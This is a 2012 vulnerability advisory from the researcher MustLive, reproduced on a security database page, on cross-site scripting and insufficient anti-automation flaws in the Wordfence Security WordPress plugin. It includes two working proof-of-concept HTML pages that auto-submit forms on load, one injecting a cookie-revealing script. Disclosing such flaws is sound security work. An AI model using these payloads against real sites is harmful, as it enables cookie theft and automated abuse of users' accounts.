Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:28643
HistoryOct 22, 2012 - 12:00 a.m.

XSS and IAA vulnerabilities in Wordfence Security for WordPress

2012-10-2200:00:00
vulners.com
28

Hello 3APA3A!

I want to warn you about Cross-Site Scripting and Insufficient Anti-automation vulnerabilities in Wordfence Security for WordPress.

Wordfence - it's security plugin for WordPress.


Affected products:

Vulnerable are Wordfence Security 3.3.5 and previous versions.


Details:

XSS (WASC-08):

Wordfence Security XSS.html

<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail&quot; method="post">
<input type="hidden" name="email" value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>

Insufficient Anti-automation (WASC-21):

Wordfence Security IAA.html

<html>
<head>
<title>Wordfence Security IAA exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail&quot; method="post">
<input type="hidden" name="email" value="[email protected]">
</form>
</body>
</html>

I've informed the plugin developer about vulnerabilities. And mentioned about these vulnerabilities at my site (http://websecurity.com.ua/6106/&#41;.

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua